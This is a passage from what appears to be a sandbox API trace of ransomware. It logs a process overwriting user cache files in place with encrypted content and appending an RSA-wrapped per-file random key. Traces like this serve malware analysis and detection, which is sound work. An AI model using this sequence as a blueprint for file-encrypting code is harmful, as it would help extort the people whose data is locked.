pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.747] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.747] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.747] CloseHandle (hObject=0x1c20) returned 1 [0193.748] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.749] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0193.749] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_7[1].txt", dwFileAttributes=0x80) returned 1 [0193.749] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_7[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_7[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.749] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18640) returned 1 [0193.749] ReadFile (in: hFile=0x1c20, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x48d0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x48d0, lpOverlapped=0x0) returned 1 [0193.758] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-18640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.758] WriteFile (in: hFile=0x1c20, lpBuffer=0x30d9908*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9908*, lpNumberOfBytesWritten=0x2e1f9bc*=0x48d0, lpOverlapped=0x0) returned 1 [0193.758] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x48d0 [0193.758] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.758] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.758] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.758] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.759] CloseHandle (hObject=0x1c20) returned 1 [0193.760] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.760] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.760] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt", dwFileAttributes=0x80) returned 1 [0193.761] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_6[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_6[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.761] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=46002) returned 1 [0193.761] ReadFile (in: hFile=0x1c20, lpBuffer=0x30d5030, nNumberOfBytesToRead=0xb3b2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0xb3b2, lpOverlapped=0x0) returned 1 [0193.763] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-46002, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.763] WriteFile (in: hFile=0x1c20, lpBuffer=0x30e03f0*, nNumberOfBytesToWrite=0xb3b2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e03f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb3b2, lpOverlapped=0x0) returned 1 [0193.763] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb3b2 [0193.763] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.763] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.763] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.763] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.763] CloseHandle (hObject=0x1c20) returned 1 [0193.764] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.765] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0193.765] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt", dwFileAttributes=0x80) returned 1 [0193.765] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_5[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_5[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.765] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2172) returned 1 [0193.765] ReadFile (in: hFile=0x1c20, lpBuffer=0x5826b8, nNumberOfBytesToRead=0x87c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5826b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x87c, lpOverlapped=0x0) returned 1 [0193.773] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-2172, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.773] WriteFile (in: hFile=0x1c20, lpBuffer=0x60abe0*, nNumberOfBytesToWrite=0x87c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60abe0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x87c, lpOverlapped=0x0) returned 1 [0193.773] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x87c [0193.773] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.773] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.773] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.773] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.773] CloseHandle (hObject=0x1c20) returned 1 [0193.775] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.775] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.775] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt", dwFileAttributes=0x80) returned 1 [0193.776] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_4[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.776] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=20740) returned 1 [0193.776] ReadFile (in: hFile=0x1c20, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x5104, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x5104, lpOverlapped=0x0) returned 1 [0193.778] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-20740, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.778] WriteFile (in: hFile=0x1c20, lpBuffer=0x30da140*, nNumberOfBytesToWrite=0x5104, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30da140*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5104, lpOverlapped=0x0) returned 1 [0193.778] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5104 [0193.778] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.778] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.778] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.778] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.779] CloseHandle (hObject=0x1c20) returned 1 [0193.782] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0193.782] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.782] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt", dwFileAttributes=0x80) returned 1 [0193.783] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_3[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.783] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=49397) returned 1 [0193.783] ReadFile (in: hFile=0x1c20, lpBuffer=0x30d5030, nNumberOfBytesToRead=0xc0f5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0xc0f5, lpOverlapped=0x0) returned 1 [0193.785] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-49397, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.785] WriteFile (in: hFile=0x1c20, lpBuffer=0x30e1130*, nNumberOfBytesToWrite=0xc0f5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1130*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc0f5, lpOverlapped=0x0) returned 1 [0193.785] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc0f5 [0193.785] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.785] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.785] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.785] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.785] CloseHandle (hObject=0x1c20) returned 1 [0193.797] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0193.797] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.797] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt", dwFileAttributes=0x80) returned 1 [0193.798] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_2[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.798] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=45359) returned 1 [0193.798] ReadFile (in: hFile=0x1c20, lpBuffer=0x30d5030, nNumberOfBytesToRead=0xb12f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0xb12f, lpOverlapped=0x0) returned 1 [0193.800] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-45359, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.800] WriteFile (in: hFile=0x1c20, lpBuffer=0x30e0168*, nNumberOfBytesToWrite=0xb12f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0168*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb12f, lpOverlapped=0x0) returned 1 [0193.800] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb12f [0193.800] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.800] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.800] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.801] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.801] CloseHandle (hObject=0x1c20) returned 1 [0193.802] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.802] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.802] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_20[1].txt", dwFileAttributes=0x80) returned 1 [0193.803] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_20[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_20[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.803] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=25638) returned 1 [0193.803] ReadFile (in: hFile=0x1c20, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x6426, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x6426, lpOverlapped=0x0) returned 1 [0193.814] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-25638, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.814] WriteFile (in: hFile=0x1c20, lpBuffer=0x30db460*, nNumberOfBytesToWrite=0x6426, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30db460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6426, lpOverlapped=0x0) returned 1 [0193.814] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6426 [0193.814] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.814] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.815] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.815] WriteFile (in: hFile=0x1c20, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.815] CloseHandle (hObject=0x1c20) returned 1 [0193.816] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.816] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0193.817] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt", dwFileAttributes=0x80) returned 1 [0193.817] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\IE77EECT\\4\\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\ie77eect\\4\\c__windows_systemapps_microsoft.windows.cortana_cw5n1h2txyewy_cache_desktop_19[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c20 [0193.817] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=126777) returned 1 [0193.817] ReadFile (in: hFile=0x1c20, lpBuffer=0x3562008, nNumberOfBytesToRead=0x1ef39, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesRead=0x2e1f9bc*=0x1ef39, lpOverlapped=0x0) returned 1 [0193.828] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=-126777, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.828] WriteFile (in: hFile=0x1c20, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x1ef39, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1ef39, lpOverlapped=0x0) returned 1 [0193.828] SetFilePointer (in: hFile=0x1c20, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | 